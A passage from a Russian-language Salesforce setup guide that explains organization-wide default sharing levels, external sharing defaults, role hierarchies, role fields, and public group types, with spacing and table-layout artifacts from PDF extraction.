• Если вы повышаете уровень доступа по умолчанию, например с уровня «Общедоступный: только для чтения» до
«Общедоступный: для чтения и записи», ваши изменения применяются немедленно. Все пользователи получают
доступ в зависимости от обновленного доступа по умолчанию. Пересчет при общем доступе затем выполняется
асинхронно, чтобы обеспечить удаление всего избыточного доступа из правил, устанавливаемых вручную, и правил
общего доступа.

Прим.: Когдадоступпоумолчаниюдляконтактовимеетопределение «Контролируетсяродительскимобъектом»,
авыповышаетеуровеньдоступапоумолчаниюдляучетныхзаписей, коммерческихвозможностейилиобращений,
изменения будут применяться после пересчета.

• Если вы понижаете уровень доступа по умолчанию, например с уровня «Общедоступный: для чтения и записи» до
«Общедоступный: только для чтения», ваши изменения применяются после пересчета.

Выполучитесообщениеэлектроннойпочтысуведомлениемпослезавершенияпересчета. Обновитестраницу «Параметры
общего доступа», чтобы увидеть изменения. Чтобы просмотреть статус обновления, в разделе «Настройка» введите
«Просмотр контрольного журнала настройки» вполе «Быстрый поиск», затемвыберите«Просмотрконтрольногожурнала
настройки».

Ограничения

Единые стандартные параметры общего доступа не могут быть изменены для некоторых объектов.

• Уровень доступа к сервисным контрактам всегда «Личный».

• Запросы на инициализацию пользователя являются личными.
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• Возможностьпросмотраиредактированиядокумента, отчетаилипанелимониторингаопределяется уровнемдоступа
пользователя к папке, содержащей данный компонент.

• Если общий доступ к прогнозам запрещен, то пользователи могут просматривать только прогнозы нижестоящих
сотрудников в иерархии ролей.

• Если настраиваемый и стандартный объекты связаны посредством взаимосвязи «Основная — подробная», где
настраиваемый объект является подробным, то единым стандартным параметрам данного объекта присваивается
значение «Контролируется родительским объектом», которое не может быть изменено.

• Если код Apex использует общедоступные записи, связанные с настраиваемым объектом, то значения единых
стандартных параметров этого объекта не могут быть изменены с «Личный» на «Общедоступный». Например, если
кодApexизвлекает группыипользователей, которымпредоставленобщийдоступкнастраиваемомуобъекту Invoice__c
(представлено в коде как Invoice__share), то значения единых стандартных параметров этого объекта не могут
быть изменены с «Личный» на «Общедоступный».

СМ. ТАКЖЕ:

Стандартные параметры общего доступа

Единые стандартные параметры общего доступа

Стандартные параметры общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

В версии Database.com
Edition доступны только
настраиваемые объекты.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки стандартного
общего доступа:
• «Управление общим

доступом»

Единые стандартные параметры позволяют задавать стандартный уровень доступа к
записям перечисленных ниже объектов.

• Организации и связанные контракты

• Действия

• Календари

• Кампании

• Обращения

• Контакты

• Настраиваемые объекты

• Интересы

• Возможности

• Заказы

• Прайс-листы

• Сервисные контракты

• Пользователи

Ниже перечислены уровни доступа, которые могут быть назначены организациям,
кампаниям, обращениям, контактам, контрактам, интересам, возможностям, заказам,
пользователям и настраиваемым объектам.

ОписаниеПоле

Пользователь может выполнять действие
(например, просмотр, редактированиеили

Контролируется родительским объектом

удаление) над контактом или заказом на
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ОписаниеПоле

основедоступностианалогичногодействиянад связанной
записью.

Например, если контакт связан с организацией Acme, то
пользователь может редактировать контакт только при
наличии доступа для редактирования организации Acme.

Просмотр, редактирование и составление отчетов по
данным записям доступны только ответственным и
вышестоящим пользователям в иерархии ролей.

Например, если Иван несет ответственность за
организациюи выполняет роль «Торговый представитель

Личный

по западному региону», которая подчиняется Елене (роль
«Вице-президент по продажам в западном регионе»), то
Елена может просматривать, редактировать и составлять
отчеты по организациям Ивана.

Просмотрисоставлениеотчетовпозаписямдоступнывсем
пользователям. Редактирование данных записей доступно

Общедоступный: только для чтения

только ответственным и вышестоящим пользователям в
иерархии ролей.

Например, Татьянанесетответственность за организацию
«ABC Corp.» и выполняет роль «Торговыйпредставитель по
западному региону», которая подчиняется Елене (роль
«Вице-президент по продажам в западном регионе»).
Татьяне и Елене предоставляется полный доступ к
организации «ABC Corp.», тогда как Ивану (другому
торговому представителю по западному региону)
предоставляетсядоступтолькодляпросмотраисоставления
отчетов по организации «ABC Corp.».

Просмотр, редактирование и составление отчетов по всем
записям доступны всем пользователям.

Например, если Иван несет ответственность за
организацию «Trident Inc.», то всем другим пользователям

Общедоступный: для чтения и записи

предоставляется доступ для просмотра, редактирования и
составления отчетов по организации «Trident Inc.». Тем не
менее, изменениепараметровобщегодоступаилиудаление
организации «Trident Inc.» доступно только Ивану.

Просмотр, редактирование, переносисоставлениеотчетов
по всем записям доступны всем пользователям. Данное
поле доступно только для обращений или интересов.

Например, если Наталья несет ответственность за
обращение ACME под номером 100, то всем другим

Общедоступный: для чтения, записи и переноса

пользователям предоставляется доступ для просмотра,
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ОписаниеПоле

редактирования, переноса ответственности и составления
отчетов по данному обращению. Тем не менее, удаление
илиизменениеобщегодоступакобращениюподномером
100 доступно только Наталье.

Просмотр, редактирование, перенос, удаление и
составление отчетов по всем записям доступны всем
пользователям. Данноеполедоступнотолькодлякампаний.

Например, еслиИван несет ответственность за кампанию,
то всем другим пользователям предоставляется доступ для

Полный общий доступ

просмотра, редактирования, переносаилиудаленияданной
кампании.

Прим.: Чтобы повысить эффективность использования обращений, рекомендуем задать единым стандартным
параметрам общего доступа к организациям, контактам, контрактам и активам значение «Общедоступный: для
чтения и записи».

Ниже перечислены уровни доступа, которые могут быть назначены личным календарям.

ОписаниеПоле

Другие пользователи могут просматривать доступность
пользователя в выбранные временные промежутки, но не

Скрыть сведения

могут просматривать другие сведения о типе событий в
календаре пользователя.

Помимоуровнейобщегодоступа, заданныхполем «Скрыть
сведения», пользователи могут вставлять события в
календари других пользователей.

Скрыть сведения и добавить события

Пользователи могут просматривать подробные сведения
о событиях в календарях других пользователей.

Показать сведения

Помимо уровней общего доступа, заданных полем
«Показатьсведения», пользователимогутвставлятьсобытия
в календари других пользователей.

Показать сведения и добавить события

Пользователи могут просматривать подробные сведения
о событиях в календарях других пользователей, вставлять

Полный доступ

событиявкалендаридругихпользователейиредактировать
текущие события в календарях других пользователей.

Прим.: Независимоотединыхстандартныхпараметров, заданныхдлякалендарей, всепользователимогутприглашать
всех других пользователей на события.

Ниже перечислены уровни доступа, которые могут быть назначены прайс-листам.
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ОписаниеПоле

Просмотр прайс-листов и добавление возможностей
доступны всем пользователям. Пользователи могут
добавлять любые продукты прайс-листа в возможности.

Использование

Просмотрисоставлениеотчетовпопрайс-листамдоступны
всемпользователям, тогдакакихдобавлениеввозможности

Только для просмотра

доступно только пользователям с полномочием
«Редактирование» для возможностей или пользователям,
которым вручную предоставлен уровень доступа
«Использование» для прайс-листов.

Пользователи не могут просматривать и добавлять
прайс-листы в возможности. Рекомендуем использовать

Нет доступа

данный уровень доступа, чтобы предоставить доступ к
выбранным прайс-листам только выбранным
пользователям. Затем вручную предоставьте
соответствующим пользователям общий доступ к
соответствующим прайс-листам.

Ниже перечислены уровни доступа, которые могут быть назначены действиям.

ОписаниеПоле

Редактирование и удаление действий доступны только
ответственнымзадействияивышестоящимпользователям

Личный

виерархииролей; пользователи, которымдоступночтение
записей, связанных с действиями, могут просматривать и
составлять отчеты по действиям.

Пользователь может выполнять действие (например,
просмотр, редактирование, перенос или удаление) над

Контролируется родительским объектом

действием на основе доступности аналогичного действия
над связанными записями.

Например, если задача связана с организацией Acme и
контактом Иван Петров, то пользователь может
редактировать задачу только при наличии доступа для
редактированияорганизации Acme иконтактаИванПетров.

Ниже перечислены уровни доступа, которые могут быть назначены пользователям.

ОписаниеПоле

Чтение собственных записей и записей, принадлежащих
нижестоящим пользователям в иерархии ролей, доступно
всем пользователям.

Личный
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Чтение записей, принадлежащих другим пользователям,
доступно всем пользователям. Система позволяет

Общедоступный: только для чтения

просматривать страницы сведений всех пользователей.
Кроме того, все пользователи могут быть просмотрены в
поисках, списковых представлениях, изменениях
ответственности и пользовательских операциях.

СМ. ТАКЖЕ:

Настройка единых стандартных параметров общего доступа

Единые стандартные параметры общего доступа

ВЕРСИИ

Организации, обращения,
контакты, интересы,
возможности и
настраиваемые объекты
доступны в следующих
версиях: Salesforce Classic
и Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

В версии Database.com
Edition доступны только
настраиваемые объекты.

Ниже перечислены единые стандартные параметры общего доступа.

Доступ по умолчаниюОбъект

Общедоступный: для чтения и записиОрганизация

ЛичноеДействие

Контролируется родительским объектомАктив

Скрыть сведения и добавить событияКалендарь

Полный общий доступКампания

Общедоступный: для чтения, записи и
переноса

Обращение

Контролируется родительским объектомКонтакт

Общедоступный: для чтения и записиКонтракт

Общедоступный: для чтения и записиНастраиваемый объект

Общедоступный: для чтения, записи и
переноса

Интерес

Общедоступный: только для чтенияВозможность

ИспользованиеПрайс-лист

ЛичноеСервисный контракт

Общедоступный: только для чтения

Личное (для внешних пользователей)

Пользователи

СМ. ТАКЖЕ:

Единые стандартные параметры общего доступа

Настройка единых стандартных параметров общего доступа
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Общие сведения о внешних единых стандартных параметрах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Внешниеединыестандартныепараметрыподдерживаютотдельныеединыестандартные
параметры для внутренних и внешних пользователей. Они позволяют упростить
конфигурацию правил общего доступа и повысить эффективность пересчета. Кроме
того, администратор организации может быстро определять данные, доступные
пользователям портала и другим внешним пользователям.

Нижеперечисленыобъекты, поддерживающиевнешниеединыестандартныепараметры.

• Организации и связанные контракты или активы

• Обращения

• Контакты

• Возможности

• Настраиваемые объекты

• Пользователи

Внешние пользователи:

• Пользователи проверенного веб-узла

• Пользователи Chatter External

• Пользователи сообщества

• Пользователи клиентского портала

• Пользователи-гости

• Пользователи массового портала

• Пользователи партнерского портала

• Пользователи портала Service Cloud

Прим.: Внешним пользователям Chatter доступен только объект «Пользователь».

Чтобы предоставить внутренним пользователям доступ «Общедоступный: только для чтения» или «Общедоступный:
для чтения и записи», а внешним пользователям — «Личный», раньше приходилось выбирать значение «Личный» в
качестве стандартногодоступаисоздаватьправилообщегодоступа, позволяющеепросматривать записивсемвнутренним
пользователям.

Теперь пользователям доступны отдельные единые стандартные параметры, которые позволяют достигать того же
результата (значение «Общедоступный: толькодлячтения»или «Общедоступный: длячтенияи записи»для стандартного
внутреннегодоступаизначение «Личный»длястандартноговнешнегодоступа). Крометого, данныепараметрыпозволяют
ускорить выполнение отчетов, списковых представлений, поисков и запросов API.

СМ. ТАКЖЕ:

Единые стандартные параметры общего доступа

Настройка внешних единых стандартных параметров

Стандартные параметры общего доступа
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Настройка внешних единых стандартных параметров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки стандартного
общего доступа:
• «Управление общим

доступом»

Внешние единые стандартные параметры позволяют предоставлять внешним
пользователям другой уровень стандартного доступа.

Прежде чем настроить внешние единые стандартные параметры, убедитесь, что они
включены. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в
меню «Настройка» и выберите пункт «Параметры общего доступа», затем нажмите
кнопку «Включить модель внешнего общего доступа».

При первом включении внешних единых стандартных параметров параметрам
«Стандартныйвнутреннийдоступ» и «Стандартныйвнешнийдоступ» задаетсяисходный
уровень стандартного доступа. Например, если единому стандартному параметру для
контактов задано значение «Личный», топараметрам «Стандартныйвнутреннийдоступ»
и «Стандартный внешний доступ» также задается значение «Личный».

Чтобы настроить внешний единый стандартный параметр для объекта, выполните
указанные ниже действия.

1. Введите «Параметры общего доступа» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите «Параметры общего доступа».

2. Нажмите кнопку «Правка» в разделе «Единые стандартные параметры».

3. Выберите нужный уровень стандартного доступа для каждого объекта.

Ниже перечислены возможные уровни доступа.

ОписаниеУровень доступа

Пользователимогут выполнятьдействия (например, просмотр,
редактирование и удаление) над подробной записью во

Контролируется родительским объектом

взаимосвязи «Основная — подробная» на основе доступности
аналогичного действия над всеми связанными основными
записями.

Прим.: При использовании контактов параметр
«Контролируется родительским объектом» долженбыть
настроен для стандартного внутреннего и внешнего
доступа.

Пользователимогутпросматриватьзаписитолькоприналичии
доступа, предоставленного на основе ответственности,

Личное

полномочий, иерархии ролей, правил общего доступа или
общего доступа, установленного вручную.

Любыепользователимогутпросматривать все записиобъекта.Общедоступный: только для чтения

Любыепользователимогутпросматриватьиредактировать все
записи объекта.

Общедоступный: для чтения и записи

Прим.: Уровень стандартного внешнего доступа должен соответствовать уровню стандартного внутреннего
доступа или быть более строгим. Например, настраиваемому объекту могут быть заданы следующие значения:
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«Личный» для стандартного внешнего доступа и «Общедоступный: только для чтения» для стандартного
внутреннего доступа.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о внешних единых стандартных параметрах

Отключение внешних единых стандартных параметров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отключения внешних
единых стандартных
параметров:
• «Управление общим

доступом»

Отключение внешних единых стандартных параметров инициирует использование
одного единого стандартного параметра для каждого объекта.

Прежде чем отключить даннуюфункцию, рекомендуем задать параметрам
«Стандартныйвнешнийдоступ»и «Стандартныйвнутреннийдоступ»одинаковый
уровень доступа для каждого объекта.

Чтобыотключитьвнешниеединыестандартныепараметры, выполните указанныениже
действия.

1. Введите «Параметры общего доступа» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите «Параметры общего доступа».

2. Нажмите кнопку «Отключить модель внешнего общего доступа» в разделе
«Единые стандартные параметры».

Данное действие инициирует замену параметров «Стандартный внешний доступ» и
«Стандартный внутренний доступ» в разделе «Единые стандартные параметры»
параметром «Стандартный доступ». При наличии общего доступа к пользователям
параметр «Стандартный внешний доступ» для организаций, контактов, обращений
и возможностей продолжает отображаться вопреки отключению.

СМ. ТАКЖЕ:

Общие сведения о внешних единых стандартных параметрах
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Управление доступом посредством иерархий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Территории недоступны в
версиях: Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки стандартного
общего доступа и изменения
параметра «Предоставить
доступ с использованием
иерархий»:
• «Управление общим

доступом»

Определите уровень доступа пользователей к чужим записям, включая записи,
недоступные самим пользователям, но доступные их подчиненным.

Помимо единых стандартных параметров общего доступа для каждого объекта,
определите уровень доступа пользователей к данным, принадлежащимили доступным
ихподчиненным. Например, иерархияролейпредоставляетвышестоящимпользователям
автоматический доступ к записям. По умолчаниюфлажок «Предоставить доступ с
использованием иерархий» установлен для всех объектов, но может быть снят только
для настраиваемых объектов.

Для управления общим доступом с помощью иерархий для любого настраиваемого
объекта введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметрыобщего доступа». Далее нажмите кнопку
«Правка» вразделе «Единыестандартныепараметры». Чтобыотменитьавтоматический
доступ пользователей к данным, принадлежащим или доступным их подчиненным,
снимите флажок «Предоставить доступ с использованием иерархий».

Примечания по внедрению
• Независимоотпараметровобщегодоступа, заданныхворганизации, доступкчужим

записям может быть предоставлен другими способами (например, полномочие
пользователя «Просмотр всех данных», правила общего доступа и общий доступ,
установленный вручную).

• Флажок «Предоставить доступ с использованием иерархий» всегда установлен
для стандартных объектов и недоступен для редактирования.

• При снятии флажка «Предоставить доступ с использованием иерархий» общий
доступ к роли или территории и подчиненным предоставляется только
пользователям, связанным с выбранной рольюили территорией напрямую. Доступ
не предоставляется пользователям вышестоящих ролей или территорий.

• Если организация снимает флажок «Предоставить доступ с использованием иерархий», то действия, связанные с
настраиваемым объектом, доступны пользователям, роли которых располагаются выше назначенного сотрудника.

• Еслиудалениевзаимосвязиинициируетнарушениевзаимосвязи «Основная — подробная», тостандартномупараметру
настраиваемого объекта, использовавшегося ранее в качестве подробного, автоматически назначается значение
«Общедоступный: для чтения и записи», а флажок «Предоставить доступ с использованием иерархий»
устанавливается по умолчанию.

• Параметр «Предоставить доступ с использованием иерархий» определяетпользователей, которыеполучаютдоступ
присовместномиспользованииданныхсобщедоступнымигруппами, персональнымигруппами, очередями, ролями
или территориями. Например, параметр «Просмотр всех пользователей» отображает участников группы и
вышестоящихпользователейиерархийприсовместномиспользованиизаписипосредствомправилаобщегодоступа
или ручного общего доступа и флажка «Предоставить доступ с использованием иерархий». При снятии флажка
«Предоставить доступ с использованием иерархий» некоторые пользователи данных групп теряют доступ. Ниже
перечислены причины доступа, зависящие от параметра «Предоставить доступ с использованием иерархий».

Данные причины предоставляют доступ всегда:
Участник группы

Участник очереди

Участник роли
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Участник подчиненной роли

Участник территории

Участник подчиненной территории

Данные причины предоставляют доступ только посредством иерархий:
Менеджер участника группы

Менеджер участника очереди

Менеджер роли

Менеджер территории

Менеджер территории для роли пользователя

Рекомендации
• При снятии флажка «Предоставить доступ с использованием иерархий» рекомендуем уведомить пользователей

овозможныхизмененияхрезультатовотчетов, инициированныхотменойдоступакданнымподчиненных. Например,
при выборе пункта «... моей рабочей группы» в раскрывающемся списке «Просмотр» отображаются записи,
принадлежащие пользователю, но не отображаются записи, принадлежащие его подчиненным. Чтобы добавить
записи, принадлежащиеподчиненным, в данныйтиппредставленияотчета, рекомендуемпредоставитьпользователю
доступ к данным записям другими способами (например, правило общего доступа или ручной общий доступ). Если
общий доступ к записям не предоставляется вручную, то при выборе пункта «Мои...» или «... моей рабочей группы» в
раскрывающемся списке «Просмотр» отображаются тежерезультаты. Темнеменее, типотчета «Действия с... <любой
настраиваемый объект>», выбранный при создании настраиваемого отчета, возвращает действия, назначенные
пользователю и его подчиненным в иерархии ролей.

СМ. ТАКЖЕ:

Иерархия ролей пользователей
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Иерархия ролей пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
ролей:
• «Управление ролями»

Для назначения
пользователей ролям:
• «Управление

внутренними
пользователями»

Система Salesforceподдерживаетиерархиюролей, которая, наряду спараметрамиобщего
доступа, можетиспользоватьсядляопределенияуровнейдоступапользователейкданным
организацииSalesforce. Роливнутрииерархиивлияютнадоступкосновнымкомпонентам
(например, записи и отчеты).

Если единые стандартные параметры являются более строгими, чем параметр
«Общедоступный: для чтения и записи», используйте иерархию ролей, чтобы
упростить доступ к записям для пользователей.

Посмотреть демонстрационный ролик: Кому и какие данные доступны?:
доступ к записям посредством иерархии ролей

Если модель общего доступа организации Salesforce для объекта не предусматривает
иное, то любая роль позволяет просматривать, редактировать и составлять отчеты по
всемданным, которыепринадлежатнижестоящимпользователямвиерархииролейили
используютсясовместносними. Вчастности, в связанномсписке «Единыестандартные
параметры» можноотключитьпараметрнастраиваемогообъекта«Предоставитьдоступ
сиспользованиемиерархий». Когда этотпараметротключен, тольковладелецзаписи
ипользователи, которымпредоставлендоступв соответствиис единымистандартными
параметрами, будут иметь доступ к записям объекта.

Роли определяют доступ пользователей к обращениям, контактам и возможностям,
независимо от их принадлежности. Уровень доступа задается на странице
«Редактирование роли». Например, при настройке доступа к контактам пользователи
соответствующей роли могут редактировать все контакты, связанные с собственными
организациями, независимоот их принадлежности. Кроме того, принастройке доступа
к возможностямпользователи соответствующейролимогут редактировать все возможности, связанные с собственными
организациями, независимо от их принадлежности.

Послепредоставленияролиобщегодоступакпапке, онадоступнатолькопользователямв этойроли, нонеруководителям
в иерархии ролей.

Рекомендации по успешному использованию ролей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данныйразделописываетосновныеалгоритмыправил, а также содержитрекомендации
по успешному использованию ролей.

Рекомендации по настройке доступа к записям в крупной организации см. в
документе Designing Record Access for Enterprise Scale.

• Чтобы упростить процесс управления пользователями в крупных организациях,
предоставьте делегированным администраторам возможность управления
пользователями с указанной ролью и всеми ее подчиненными ролями.

• Разрешается создавать не более 500 ролей на организацию.
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• Роль должна быть назначена каждому пользователю. В противном случае, отчеты по возможностям, сводки по
прогнозам и другие представления на основе ролей не будут отображать пользовательские данные.

• Всепользователи, которымтребуетсяполныйдоступкорганизации, должныпринадлежать самомуверхнемууровню
иерархии.

• Созданиеотдельныхролейдля каждойдолжностикомпаниине являетсяобязательным. Рекомендуемзадатьиерархию
ролей для определения доступа к данным, введенным пользователями нижестоящих ролей.

• Изменение роли пользователя инициирует применение правил общего доступа для новой роли.

• Пользователь Salesforce Knowledge может изменить параметры доступности категории на странице сведений о роли.

• Во избежание ошибок производительности, каждому пользователю может принадлежать не более 10 000 записей
объекта. Пользователям, которымтребуетсябольшеобъектов, рекомендуемненазначатьрольилиназначатьотдельную
роль вверхуиерархии. Такжерекомендуемисключитьданныхпользователейизобщедоступныхгрупп, которыемогут
использоваться как источник правил общего доступа.

• Если ответственному за организацию не назначена роль, то связанным контактам назначается параметр общего
доступа «Для чтения и записи», при условии, что единому стандартному параметру для контактов не задано значение
«Контролируется родительским объектом». Связанным возможностям и обращениям назначается параметр общего
доступа «Нет доступа».

• Еслиорганизацияиспользуетфункциюуправлениятерриториями, топрогнозыопираютсянаиерархиютерриторий
вместо иерархии ролей.

Назначение пользователей ролям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначение
пользователей ролям:
• «Управление

внутренними
пользователями»

Система позволяет быстро назначать пользователей отдельной роли.

1. В разделе «Настройка» введите «Роли» в поле «Быстрый поиск», затем выберите
«Роли».

2. Щелкните «Назначить» напротив имени нужной роли.

Прим.: Чтобы получить доступ к данной странице, щелкните «Назначить
пользователейдляроли» в связанномсписке «Пользователивроли». Крупным
организациям рекомендуем назначать роли посредством SOAP API.

3. Чтобы просмотреть доступных пользователей, выберите нужное значение
раскрывающегося списка.

4. Чтобыназначитьпользователяданнойроли, выберитенужногопользователявлевом
столбце и нажмите кнопку «Добавить».

Прим.: Удалениепользователяизсписка «Выбранныепользователи» инициирует
удаление соответствующего назначения роли.

СМ. ТАКЖЕ:

Иерархия ролей пользователей
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Поля ролей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования ролей:
• «Управление ролями»

Поля, включающиев себя записироли, служатдляопределенныхцелей. Данная таблица
содержит описания всех полей и их функций в роли.

Доступность полей зависит от полномочий организации и настроек общего доступа.

ОписаниеПоле

Данное поле определяет доступность
обращений других пользователей,
связанныхссобственнымиорганизациями.
Данноеполенеотображается, еслимодели
общего доступа к обращениям задано
значение «Общедоступный: для чтения и
записи».

Доступ к обращению

Данное поле определяет доступность
контактов других пользователей,
связанныхссобственнымиорганизациями.
Данноеполенеотображается, еслимодели
общего доступа к контактам задано
значение «Общедоступный: для чтения и
записи» или «Контролируется
родительским объектом».

Доступ к контакту

Имя, используемое для обозначения роли
или должности на всех страницах

Метка

пользовательскогоинтерфейса (например,
вице-президент по продажам в западном
регионе).

Имя пользователя, который последним
изменил сведения о данной роли, а также
дата и время изменения.

Изменено

Данное поле определяет доступность
возможностей других пользователей,

Доступ к возможности

связанныхссобственнымиорганизациями.
Данноеполенеотображается, еслимодели
общего доступа к возможностям задано
значение «Общедоступный: для чтения и
записи».

Данное поле определяет наличие связи
между ролью и организацией-партнером.

Роль партнера

Данное поле доступно только при
использовании клиентского или
партнерского портала.

Роль, помеченная даннымфлажком, не
может быть изменена. По умолчанию
организациям портала предоставляется
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ОписаниеПоле

три роли. Количество ролей может быть сокращено или
увеличено до трех.

Уникальное имя, используемое интерфейсом API и
управляемыми пакетами.

Имя роли

Имя роли, отображаемое в отчетах. Если поле
редактируемой роли «Имя роли» содержит слишком

Имя роли, отображаемое в отчетах

длинное значение, то данное поле может содержать
сокращенное имя.

Данные группы создаются и обрабатываются
автоматически. Группа «Роль» содержитвсехпользователей

Группы общего доступа

данной роли, а также всех пользователей вышестоящих
ролей. Группа «Роль и подчиненные роли» содержит всех
пользователей данной роли, а также всех пользователей
выше- и нижестоящих ролей. Группа «Роль и внутренние
подчиненныероли» (доступная толькоприиспользовании
клиентских или партнерских порталов) содержит всех
пользователей данной роли, а также всех пользователей
выше- и нижестоящих ролей, кроме
пользователейклиентского и партнерского порталов.

Вышестоящая роль в иерархии.Данная роль подчиняется

СМ. ТАКЖЕ:

Иерархия ролей пользователей

Что такое группа?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Группа — это совокупность пользователей. Группы могут состоять из отдельных
пользователей, других групп или пользователей ролей или территорий. Группа также
можетсодержатьпользователейсотдельнойрольюилитерриториейивсехподчиненных
им пользователей в иерархии ролей или территорий.

Система Salesforce поддерживает два типа групп.

• «Общедоступные группы»: общедоступные группы могут создаваться
администраторамииделегированнымиадминистраторами. Общедоступныегруппы
могутиспользоваться каждымсотрудникоморганизации. Например, можно создать
группу совместного пользования автомобилем для сотрудников. Все сотрудники
смогут делать в группе записи об участии в программе.

• «Персональные группы»: группы могут создаваться любыми пользователями в
личныхцелях. Например, пользователимогутпредоставлятьдоступк записямтолько
участникам определенной рабочей группы.

Ниже перечислены способы использования групп.

• Для настройки стандартного общего доступа посредством правила общего доступа
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• Для предоставления другим пользователям общего доступа к записям

• Для подтверждения синхронизации контактов, принадлежащих другим пользователям

• Для пакетного добавления пользователей в библиотеку Salesforce CRM Content

• Для назначения пользователям конкретных действий в приложении Salesforce Knowledge

СМ. ТАКЖЕ:

Типы участников группы

Создание и редактирование групп

Просмотр списков групп

Предоставление группам менеджеров общего доступа к записям

Рекомендации по общедоступным группам

Рекомендации по общедоступным группам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Нижеперечисленырекомендациипосозданиюобщедоступныхгруппдляоптимизации
производительности крупных организаций.

• Рекомендуемсоздавать группыпутемвыборакакминимумнесколькихпользователей,
которым требуется одинаковый доступ.

• Рекомендуемсоздавать группы, участникамкоторыхне требуетсячастоедобавление
или удаление из групп.

• Рекомендуем создавать не более пяти уровней вложенных групп.

• Чтобы включить автоматический доступ к записям посредством иерархий ролей в
общедоступных группах, рекомендуем установитьфлажок «Предоставить доступ
с использованием иерархий» при создании группы. Не используйте данный
параметрпривыборе значения «Всевнутренниепользователи» в качестве участников
создаваемой общедоступной группы.

СМ. ТАКЖЕ:

Что такое группа?
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Типы участников группы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступные типы участников
определяютсяиспользуемой
версией системы.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
общедоступной группы:
• «Управление

пользователями»

Для создания или
редактирования
персональной группы
другого пользователя:
• «Управление

пользователями»

Множествотипов группдоступныдляразличныхвнутреннихивнешнихпользователей.

Ниже перечислены типы участников, доступные в раскрывающемся списке «Поиск»
присозданииилиредактированиигруппы. Доступностьнекоторыхтиповопределяется
параметрами организации.

ОписаниеТип участника

Все пользователи клиентского портала.
Доступно только при использовании
клиентского портала.

Пользователи клиентского портала

Все пользователи-партнеры. Доступно
только при использовании партнерского
портала.

Пользователи-партнеры

Всесобственныегруппы. Доступнотолько
присозданиидругихперсональныхгрупп.

Персональные группы

Все роли, заданные для партнерского или
клиентскогопорталаорганизации. Данная
категория содержит всех пользователей с
определенной ролью портала, кроме
пользователей массового портала.

Роли портала

Прим.: Имяролипорталасодержит
имя связанной организации.
Исключениями являются
организации-лица, содержащие
псевдоним пользователя.

Все роли, заданные для партнерского или
клиентскогопорталаорганизации. Данная
категория содержит всех пользователей с
определенной ролью портала и

Роли портала и подчиненные роли

нижестоящими ролями, кроме
пользователей массового портала.

Прим.: Имяролипорталасодержит
имя связанной организации.
Исключениями являются
организации-лица, содержащие
псевдоним пользователя.

Все общедоступные группы, заданные
администратором.

Общедоступные группы

Все роли, заданные для организации.
Добавлениеролив группуохватывает всех

Роли

пользователей данной роли, кроме ролей
портала.

660

Общий доступНастройка и обслуживание организации Salesforce



ОписаниеТип участника

Добавление роли и подчиненных ролей охватывает всех
пользователей данной роли и всех пользователей

Роли и внутренние подчиненные роли

нижестоящих ролей. Данный тип не охватывает
пользователей или роли портала.

Добавление роли и подчиненных ролей охватывает всех
пользователей данной роли и всех пользователей

Роли и подчиненные роли

нижестоящих ролей. Доступно только при отсутствии
порталов.

Добавление роли и подчиненных ролей охватывает всех
пользователей данной роли и всех пользователей

Роли, внутренниеподчиненныеролииподчиненныероли
портала

нижестоящихролей. Доступнотолькоприиспользовании
партнерского или клиентского портала. Данный тип
охватывает пользователей портала.

